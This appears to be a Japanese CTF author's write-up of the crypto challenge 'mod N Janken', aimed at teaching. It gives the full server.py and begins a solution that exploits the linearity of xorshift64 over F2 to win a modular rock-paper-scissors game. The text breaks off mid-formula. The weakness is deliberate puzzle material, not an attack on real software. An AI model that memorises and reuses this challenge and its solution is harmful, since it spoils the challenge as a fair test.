<p>&#x30B2;&#x30FC;&#x30E0;AI&#x3092;&#x30D0;&#x30B0;&#x3089;&#x305B;&#x3066;&#x7121;&#x53CC;&#x3067;&#x304D;&#x305F;&#x3089;&#x697D;&#x3057;&#x3044;&#x3088;&#x306D;&#x301C;&#x3068;&#x3044;&#x3046;&#x3053;&#x3068;&#x3092;&#x8003;&#x3048;&#x3066;&#x3053;&#x306E;&#x554F;&#x984C;&#x3092;&#x4F5C;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;<br>
&#x8EFD;&#x91CF;&#x306A;&#x4E71;&#x6570;&#x751F;&#x6210;&#x5668;&#x306F;&#x5927;&#x4F53;xorshift&#x306E;&#x5909;&#x7A2E;&#x304B;&#x7DDA;&#x5F62;&#x5408;&#x540C;&#x6CD5;&#x306E;&#x5909;&#x7A2E;&#x3060;&#x3068;&#x601D;&#x3063;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;&#x9069;&#x5F53;&#x306B;&#x3084;&#x308B;&#x3068;&#x5468;&#x671F;&#x304C;&#x975E;&#x5E38;&#x306B;&#x77ED;&#x304F;&#x306A;&#x308A;&#x304C;&#x3061;&#x3002;</p>
<p>xoroshiro128+&#x306E;&#x3088;&#x3046;&#x306A;&#x30D3;&#x30C3;&#x30C8;&#x6F14;&#x7B97;&#x3068;&#x52A0;&#x7B97;&#x3060;&#x3051;&#x3067;&#x4F5C;&#x3089;&#x308C;&#x308B;&#x4E71;&#x6570;&#x306F;&#x8EFD;&#x91CF;&#x306A;&#x306E;&#x3067;&#x30B2;&#x30FC;&#x30E0;&#x3084;&#x30B7;&#x30DF;&#x30E5;&#x30EC;&#x30FC;&#x30B7;&#x30E7;&#x30F3;&#x306B;&#x4F7F;&#x3044;&#x3084;&#x3059;&#x3044;&#x3068;&#x601D;&#x3044;&#x307E;&#x3059;&#x3002;&#x5B9F;&#x969B;&#x306B;&#x30DD;&#x30B1;&#x30E2;&#x30F3;&#x3068;&#x304B;&#x3067;&#x4F7F;&#x308F;&#x308C;&#x3066;&#x3044;&#x308B;&#x3089;&#x3057;&#x3044;&#x3067;&#x3059;&#x3002;<br>
&#x3044;&#x3064;&#x3067;&#x3082;mt19937&#x307B;&#x3069;&#x306E;&#x9AD8;&#x6B21;&#x5143;&#x3067;&#x306E;&#x5747;&#x7B49;&#x5206;&#x5E03;&#x304C;&#x5FC5;&#x8981;&#x306A;&#x308F;&#x3051;&#x3067;&#x306F;&#x306A;&#x3044;&#x306E;&#x3067;&#x3001;&#x7528;&#x9014;&#x306B;&#x5FDC;&#x3058;&#x3066;&#x4F7F;&#x3044;&#x5206;&#x3051;&#x305F;&#x3044;&#x3067;&#x3059;&#x306D;&#x3002;</p>
<h2 id="crypto-lv5-mod-n-janken">[Crypto] Lv.5 mod N Janken</h2>
<h3 id="%E5%95%8F%E9%A1%8C%E6%A6%82%E8%A6%81">&#x554F;&#x984C;&#x6982;&#x8981;</h3>
<pre class="blog-code"><code class="lang-undefined">&#x307F;&#x3093;&#x306A;&#x3067;&#x3058;&#x3083;&#x3093;&#x3051;&#x3093;&#xFF01;
&#x5F15;&#x304D;&#x5206;&#x3051;&#x306F;&#x7121;&#x99C4;&#x306A;&#x306E;&#x3067;&#x306A;&#x304F;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;
</code></pre>
<p>&#x3053;&#x306E;&#x554F;&#x984C;&#x6587;&#x3082;&#x30D5;&#x30EC;&#x30FC;&#x30D0;&#x30FC;&#x30C6;&#x30AD;&#x30B9;&#x30C8;&#x306A;&#x306E;&#x3067;&#x7121;&#x8996;&#x3057;&#x3066;&#x826F;&#x3044;&#x3067;&#x3059;&#x3002;<br>
<code>nc</code>&#x30B3;&#x30DE;&#x30F3;&#x30C9;&#x3067;&#x30B5;&#x30FC;&#x30D0;&#x30FC;&#x306B;TCP&#x63A5;&#x7D9A;&#x3057;&#x3066;&#x30B5;&#x30FC;&#x30D0;&#x30FC;&#x3067;&#x5B9F;&#x884C;&#x3055;&#x308C;&#x308B;Python&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30E0;&#x3068;&#x3084;&#x308A;&#x53D6;&#x308A;&#x3092;&#x3059;&#x308B;&#x554F;&#x984C;&#x3067;&#x3059;&#x3002;</p>
<p>&#x914D;&#x5E03;&#x30D5;&#x30A1;&#x30A4;&#x30EB; server.py&#x306E;&#x4ED6;&#x306B;&#x624B;&#x5143;&#x3067;&#x52D5;&#x304B;&#x305B;&#x308B;&#x3088;&#x3046;&#x306B;dockerfile,compose.yml&#x3092;&#x914D;&#x5E03;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;</p>
<details><summary>server.py</summary>
#!/usr/local/bin/python3
from random import randrange
from os import getenv
<p>def nextrand(n):<br>
n ^= n &lt;&lt; 13<br>
n ^= n &gt;&gt; 7<br>
n ^= n &lt;&lt; 17<br>
return n &amp; ((1 &lt;&lt; 64) - 1)</p>
<p>def main():<br>
MAX_CHEAT_COUNT = 600<br>
PARTICIPANTS = 101<br>
STRATEGY_LEN = 120<br>
MATCHES = 20</p>
<pre><code>janken_powers = [[0 for _ in range(STRATEGY_LEN)]
                 for _ in range(PARTICIPANTS - 1)]

for i in range(PARTICIPANTS - 1):
    janken_powers[i][0] = randrange(1, 2**64)
    for j in range(1, STRATEGY_LEN):
        janken_powers[i][j] = nextrand(janken_powers[i][j - 1])

print(&quot;&#x1F31F;====================================================&#x1F31F;&quot;)
print(&quot;  &#x270A;&#x270C;&#xFE0F;&#x270B; Welcome to the ULTRA JANKEN TOURNAMENT! &#x270B;&#x270C;&#xFE0F;&#x270A;&quot;)
print(&quot;&#x1F31F;====================================================&#x1F31F;&quot;)
print(&quot;\n[MC] First, tell me your \&quot;Secret Janken Strategy\&quot;! (Space-separated integers, please!)&quot;)

try:
    player_strategy = list(map(int, input(&quot;Your Strategy: &quot;).split()))
except ValueError:
    print(&quot;[MC] Oops! Those don&apos;t look like numbers. Please try again!&quot;)
    exit(0)

assert len(player_strategy) == STRATEGY_LEN
for val in player_strategy:
    assert 0 &lt;= val &lt; 2**64

print(f&quot;\n[MC] Entry complete! We&apos;ve received your strategy loud and clear!&quot;)
janken_powers.append(player_strategy)

total_cheats = 0

print(&quot;\n[MC] Now, let the tournament of destiny BEGIN!!!\n&quot;)

for match_num in range(MATCHES):
    print(f&quot;\n--- [ MATCH {match_num + 1}/{MATCHES} ] ---&quot;)
    player_no = randrange(0, PARTICIPANTS)
    luck_pattern = [randrange(0, 2) for _ in range(STRATEGY_LEN)]

    print(f&quot;[MC] Your Number is No: {player_no}&quot;)
    lucky = &quot;&quot;.join(map(str, luck_pattern))
    print(f&quot;[info] Current Luck Pattern: {lucky}&quot;)

    while True:
        action = input(
            &quot;\n[?] What will you do? [C]heat the luck / [G]o Janken!: &quot;).strip().upper()

        if action == &quot;C&quot;:
            try:
                idx = int(input(&quot;Which luck index to flip?: &quot;))
                if 0 &lt;= idx &lt; STRATEGY_LEN:
                    luck_pattern[idx] = 1 - luck_pattern[idx]
                    total_cheats += 1
                    print(&quot;[Info] Luck value altered silently.&quot;)
                else:
                    print(&quot;[ERROR] Error: Index out of range.&quot;)
            except ValueError:
                print(&quot;[ERROR] Error: Invalid integer.&quot;)

        elif action == &quot;G&quot;:
            break
        else:
            print(&quot;[ERROR] Unrecognized command.&quot;)
            exit(0)

    clash_power = 0
    for i in range(PARTICIPANTS):
        for j in range(STRATEGY_LEN):
            clash_power ^= janken_powers[i][j] * luck_pattern[j]

    winner = clash_power % PARTICIPANTS

    print(
        &quot;\n[MC] Alright, everyone together... Rock, Paper, SCISSORS!!! &#x270A;&#x270C;&#xFE0F;&#x270B;&quot;)
    print(f&quot;[MC] And the winner is... Participant No.{winner}!!!&quot;)

    if winner != player_no:
        print(&quot;\n[Info] You lost...&quot;)
        exit(0)

    if total_cheats &gt; MAX_CHEAT_COUNT:
        print(
            &quot;\n[MC] Wait a minute... the luck generators are fluctuating wildly! SECURITY!!&quot;)
        exit(0)

    print(&quot;[MC] What an incredible match! Let&apos;s move right to the next one!\n&quot;)

print(&quot;&#x1F38A;======================================================&#x1F38A;&quot;)
print(&quot;  &#x1F3C6; TOURNAMENT COMPLETED! &#x1F3C6;&quot;)
print(&quot;&#x1F38A;======================================================&#x1F38A;&quot;)
print(&quot;\n[MC] What a breathtaking tournament! I&apos;ve never seen such consistent \&quot;luck\&quot; before!&quot;)
print(&quot;[MC] Please accept this grand prize on behalf of our amazing winner! \n&quot;)

flag = getenv(&quot;FLAG&quot;, &quot;FLAG{DUMMY}&quot;)
print(flag)
</code></pre>
<p>if <strong>name</strong> == &apos;<strong>main</strong>&apos;:<br>
try:<br>
main()<br>
except Exception as e:<br>
print(f&quot;\n[MC] Whoops! Looks like we have some technical difficulties!&quot;)</p>
</details>
<p>mod N &#x3058;&#x3083;&#x3093;&#x3051;&#x3093;&#x3092;&#x77E5;&#x3063;&#x3066;&#x3044;&#x307E;&#x3059;&#x304B;&#xFF1F;&#x5927;&#x4EBA;&#x6570;&#x3067;&#x3058;&#x3083;&#x3093;&#x3051;&#x3093;&#x3092;&#x884C;&#x3046;&#x3068;&#x5F15;&#x304D;&#x5206;&#x3051;&#x304C;&#x9023;&#x7D9A;&#x3057;&#x3066;&#x9577;&#x5F15;&#x3044;&#x3066;&#x5ACC;&#x3067;&#x3059;&#x3088;&#x306D;&#x3002;&#x52DD;&#x8005;&#x3092;1&#x4EBA;&#x3060;&#x3051;&#x6C7A;&#x3081;&#x305F;&#x3044;&#x306A;&#x3089;&#x3001;&#x305D;&#x308C;&#x305E;&#x308C;&#x304C;&#x6574;&#x6570;&#x3092;&#x5BA3;&#x8A00;&#x3057;&#x3066;&#x305D;&#x306E;&#x7DCF;&#x548C;mod N&#x3067;&#x52DD;&#x8005;&#x3092;&#x6C7A;&#x3081;&#x308C;&#x3070;&#x826F;&#x3044;&#x3067;&#x3059;&#x306D;&#xFF01;&#x3067;&#x306F;&#x5B9F;&#x969B;&#x306B;&#x3084;&#x3063;&#x3066;&#x307F;&#x307E;&#x3057;&#x3087;&#x3046;&#xFF01;</p>
<p>NPC100&#x4EBA;&#x3068;&#x3042;&#x306A;&#x305F;&#x306E;&#x5408;&#x8A08;101&#x4EBA;&#x3067;mod N &#x3058;&#x3083;&#x3093;&#x3051;&#x3093;&#x3092;&#x884C;&#x3044;&#x307E;&#x3059;&#x3002;</p>
<p>NPC&#x306F;&#x79D8;&#x5BC6;&#x306E;&#x4E71;&#x6570;&#x5217;(<code>janken_powers</code>)&#x3092;&#x751F;&#x6210;&#x3057;&#x307E;&#x3059;&#x3002;<br>
&#x3042;&#x306A;&#x305F;&#x3082;&#x540C;&#x69D8;&#x306B;&#x6574;&#x6570;&#x5217;&#x3092;&#x5BA3;&#x8A00;&#x3057;&#x307E;&#x3059;&#x3002;</p>
<p>&#x305D;&#x308C;&#x305E;&#x308C;&#x306E;NPC&#x306E;&#x5BA3;&#x8A00;&#x3059;&#x308B;&#x6574;&#x6570;&#x306F;&#x4E8B;&#x524D;&#x306B;&#x7528;&#x610F;&#x3057;&#x305F;&#x4E71;&#x6570;&#x5217;&#x304B;&#x3089;&#x6DFB;&#x5B57;&#x5217;(<code>luck_pattern</code>)&#x306E;&#x901A;&#x308A;&#x306B;&#x9078;&#x3093;&#x3067;xor&#x3057;&#x305F;&#x3082;&#x306E;&#x3067;&#x3059;&#x3002;<br>
&#x3042;&#x306A;&#x305F;&#x306E;&#x5BA3;&#x8A00;&#x3059;&#x308B;&#x6574;&#x6570;&#x3082;&#x540C;&#x3058;<code>luck_pattern</code>&#x3067;&#x6C7A;&#x307E;&#x308A;&#x307E;&#x3059;&#x3002;<br>
&#x3058;&#x3083;&#x3093;&#x3051;&#x3093;&#x3067;20&#x9023;&#x52DD;&#x3057;&#x3066;&#x304F;&#x3060;&#x3055;&#x3044;&#xFF01;</p>
<p>&#x52DD;&#x5229;&#x6761;&#x4EF6;&#x306F;&#x5168;&#x54E1;&#x306E;&#x5BA3;&#x8A00;&#x3057;&#x305F;&#x6574;&#x6570;&#x306E;&#x5408;&#x8A08; mod 101 &#x304C;&#x3042;&#x306A;&#x305F;&#x306E;<code>player_no</code>&#x306B;&#x306A;&#x308B;&#x3053;&#x3068;&#x3067;&#x3059;&#x3002;<code>player_no</code>&#x306F;&#x6BCE;&#x56DE;&#x6559;&#x3048;&#x3066;&#x3082;&#x3089;&#x3048;&#x308B;&#x306E;&#x3067;&#x3046;&#x307E;&#x304F;&#x8ABF;&#x6574;&#x3057;&#x3066;&#x52DD;&#x5229;&#x3057;&#x305F;&#x3044;&#x3067;&#x3059;&#x306D;&#x3002;</p>
<p><code>luck_pattern</code>&#x3092;1&#x7B87;&#x6240;&#x305A;&#x3064;&#x6539;&#x5909;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;&#x6539;&#x5909;&#x3057;&#x3059;&#x304E;&#x308B;&#x3068;&#x6012;&#x3089;&#x308C;&#x308B;&#x306E;&#x3067;&#x3001;600&#x56DE;&#x4EE5;&#x4E0B;&#x306E;&#x6539;&#x5909;&#x3067;&#x3069;&#x3046;&#x306B;&#x304B;&#x3057;&#x3066;&#x52DD;&#x5229;&#x3057;&#x307E;&#x3057;&#x3087;&#x3046;&#x3002;</p>
<h3 id="%E8%A7%A3%E6%B3%95">&#x89E3;&#x6CD5;</h3>
<p>NPC&#x306E;&#x751F;&#x6210;&#x3059;&#x308B;&#x4E71;&#x6570;&#x5217;&#x306F; xorshift64 &#x3092;&#x7528;&#x3044;&#x3066;&#x4F5C;&#x3089;&#x308C;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;<br>
xorshift64&#x306F;xor&#x3068;shift&#x3068;&#x3044;&#x3046;&#x8EFD;&#x91CF;&#x306A;bit&#x6F14;&#x7B97;&#x3060;&#x3051;&#x3067;&#x7591;&#x4F3C;&#x4E71;&#x6570;&#x5217;&#x3092;&#x751F;&#x6210;&#x3059;&#x308B;&#x30A2;&#x30EB;&#x30B4;&#x30EA;&#x30BA;&#x30E0;&#x3067;&#x3059;&#x3002;<br>
&#x5185;&#x90E8;&#x72B6;&#x614B;&#x306B;&#x5BFE;&#x3057;&#x3066;xor&#x3068;shift&#x306E;&#x64CD;&#x4F5C;&#x3092;&#x884C;&#x3044;&#x3001;&#x65B0;&#x305F;&#x306A;&#x5185;&#x90E8;&#x72B6;&#x614B;&#x3092;&#x4F5C;&#x6210;&#x3057;&#x3066;&#x305D;&#x308C;&#x3092;&#x4E71;&#x6570;&#x306E;&#x51FA;&#x529B;&#x3068;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;</p>
<p>&#x5185;&#x90E8;&#x72B6;&#x614B;&#x3001;&#x5185;&#x90E8;&#x72B6;&#x614B;&#x3092;&#x66F4;&#x65B0;&#x3059;&#x308B;&#x95A2;&#x6570;&#x3001;&#x5185;&#x90E8;&#x72B6;&#x614B;&#x304B;&#x3089;&#x4E71;&#x6570;&#x3092;&#x751F;&#x6210;&#x3059;&#x308B;&#x95A2;&#x6570;&#x3092;&#x6574;&#x7406;&#x3057;&#x307E;&#x3057;&#x3087;&#x3046;&#x3002;</p>
<ul>
<li>&#x5185;&#x90E8;&#x72B6;&#x614B;: 64bit&#x6574;&#x6570;1&#x3064;</li>
<li>&#x5185;&#x90E8;&#x72B6;&#x614B;&#x3092;&#x66F4;&#x65B0;&#x3059;&#x308B;&#x95A2;&#x6570;: <code>nextrand</code>&#x3067;&#x5B9A;&#x7FA9;&#x3055;&#x308C;&#x305F;xor&#x3068;shift&#x304B;&#x3089;&#x306A;&#x308B;&#x95A2;&#x6570;</li>
<li>&#x5185;&#x90E8;&#x72B6;&#x614B;&#x304B;&#x3089;&#x4E71;&#x6570;&#x3092;&#x751F;&#x6210;&#x3059;&#x308B;&#x95A2;&#x6570;: &#x5185;&#x90E8;&#x72B6;&#x614B;&#x306E;64bit&#x6574;&#x6570;&#x3092;&#x305D;&#x306E;&#x307E;&#x307E;&#x5229;&#x7528;&#x3059;&#x308B;</li>
</ul>
<p>&#x3053;&#x3053;&#x3067;&#x5927;&#x4E8B;&#x306A;&#x306E;&#x304C;&#x5185;&#x90E8;&#x72B6;&#x614B;&#x304B;&#x3089;&#x4E71;&#x6570;&#x3092;&#x751F;&#x6210;&#x3059;&#x308B;&#x95A2;&#x6570;&#x3067;&#x3059;&#x3002;xorshift64&#x306E;&#x5834;&#x5408;&#x3067;&#x306F;&#x5185;&#x90E8;&#x72B6;&#x614B;&#x3092;&#x305D;&#x306E;&#x307E;&#x307E;&#x4E71;&#x6570;&#x3068;&#x3057;&#x3066;&#x4F7F;&#x7528;&#x3057;&#x307E;&#x3059;&#x3002;&#x3053;&#x308C;&#x306B;&#x3088;&#x308A;&#x3001;&#x4E71;&#x6570;&#x306E;&#x51FA;&#x529B;&#x3068;&#x5185;&#x90E8;&#x72B6;&#x614B;&#x3092;&#x533A;&#x5225;&#x305B;&#x305A;&#x306B;&#x540C;&#x4E00;&#x8996;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;</p>
<p>&#x5185;&#x90E8;&#x72B6;&#x614B;&#x3092;&#x66F4;&#x65B0;&#x3059;&#x308B;&#x95A2;&#x6570;&#x3092;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span></span></span>&#x3068;&#x3057;&#x307E;&#x3059;&#x3002;&#x6700;&#x521D;&#x306E;&#x5185;&#x90E8;&#x72B6;&#x614B;&#x3092;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>&#x3068;&#x3059;&#x308B;&#x3068;&#x3001;&#x751F;&#x6210;&#x3055;&#x308C;&#x308B;&#x5185;&#x90E8;&#x72B6;&#x614B;&#x306F;&#x6B21;&#x306E;&#x3088;&#x3046;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;xorshift&#x3067;&#x306F;&#x751F;&#x6210;&#x3055;&#x308C;&#x308B;&#x4E71;&#x6570;&#x5217;&#x3082;&#x5168;&#x304F;&#x540C;&#x3058;&#x3067;&#x3059;&#x3002;</p>
<p class="katex-block "><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.188em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.938em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mopen mtight">(</span><span class="mord mtight">2</span><span class="mclose mtight">)</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">&#x2026;</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.938em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mopen mtight">(</span><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mclose mtight">)</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">x</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">&#x2026;</span></span></span></span></span></p>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span></span></span>&#x306E;&#x6027;&#x8CEA;&#x3092;&#x8ABF;&#x3079;&#x307E;&#x3059;&#x3002;64bit&#x6574;&#x6570;&#x306E;xor&#x3068;shift&#x306F;64bit&#x6574;&#x6570;&#x3092;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0622em;vertical-align:-0.2481em;"></span><span class="mord"><span class="mord mathbb">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-2.4519em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">64</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.2481em;"><span></span></span></span></span></span></span></span></span></span>&#x306E;&#x5143;&#x3068;&#x3057;&#x3066;&#x6271;&#x3048;&#x3070;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span></span></span>&#x306F;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathbb">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>&#x7DDA;&#x578B;&#x7A7A;&#x9593;&#x306E;&#x7DDA;&#x578B;&#x5199;&#x50CF;&#x3068;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0622em;vertical-align:-0.2481em;"></span><span class="mord"><span class="mord mathbb">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-2.4519em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">64</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.2481em;"><span></span></span></span></span></span></span></span></span></span>&#x306B;&#x306F;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord">&#x2295;</span></span></span></span>&#x3068;&#x3057;&#x3066;xor&#x3092;&#x5165;&#x308C;&#x307E;&#x3059;&#x3002;</p>
<p>&#x7DDA;&#x578B;&#x5199;&#x50CF;&#x3067;&#x3042;&#x308B;&#x305F;&#x3081;&#x3001;&#x3042;&#x308B;&#x884C;&#x5217;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&#x2208;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1205em;vertical-align:-0.2663em;"></span><span class="mord"><span class="mord mathbb">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8542em;"><span style="top:-2.4337em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.1031em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">64</span><span class="mbin mtight">&#xD7;</span><span class="mord mtight">64</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.2663em;"><span></span></span></span></span></span></span></span></span></span> &#x304C;&#x5B58;&#x5728;&#x3057;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span></span></span></span>&#x3068;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<p>&#x4ECA;&#x56DE;&#x306E;&#x554F;&#x984C;&#x3067;&#x306F;&#x5404;NPC&#x3054;&#x3068;&#x306B;&#x4E71;&#x6570;&#x5217;&#x306E;&#x7279;&#x5B9A;&#x306E;&#x8981;&#x7D20;&#x306E;&#x7DCF;xor&#x3092;&#x3068;&#x3063;&#x3066;&#x5BA3;&#x8A00;&#x3059;&#x308B;&#x6574;&#x6570;&#x3092;&#x6C7A;&#x5B9A;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;<br>
&#x5177;&#x4F53;&#x7684;&#x306B;&#x306F;&#x3001;&#x6307;&#x5B9A;&#x3055;&#x308C;&#x305F;&#x975E;&#x8CA0;&#x6574;&#x6570;&#x306E;&#x96C6;&#x5408; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span></span></span></span> &#x306B;&#x3064;&#x3044;&#x3066;&#x3001;<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1762em;vertical-align:-0.3271em;"></span><span class="mop"><span class="mop op-symbol small-op" style="position:relative;top:0em;">&#x2A01;</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1864em;"><span style="top:-2.4003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mrel mtight">&#x2208;</span><span class="mord mathnormal mtight" style="margin-right:0.05764em;">S</span></span></span></span></span><span class="vlist-s">&#x200B;</span></span><span class="vlist-r"><span class="vlist" style="height:0.3271em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 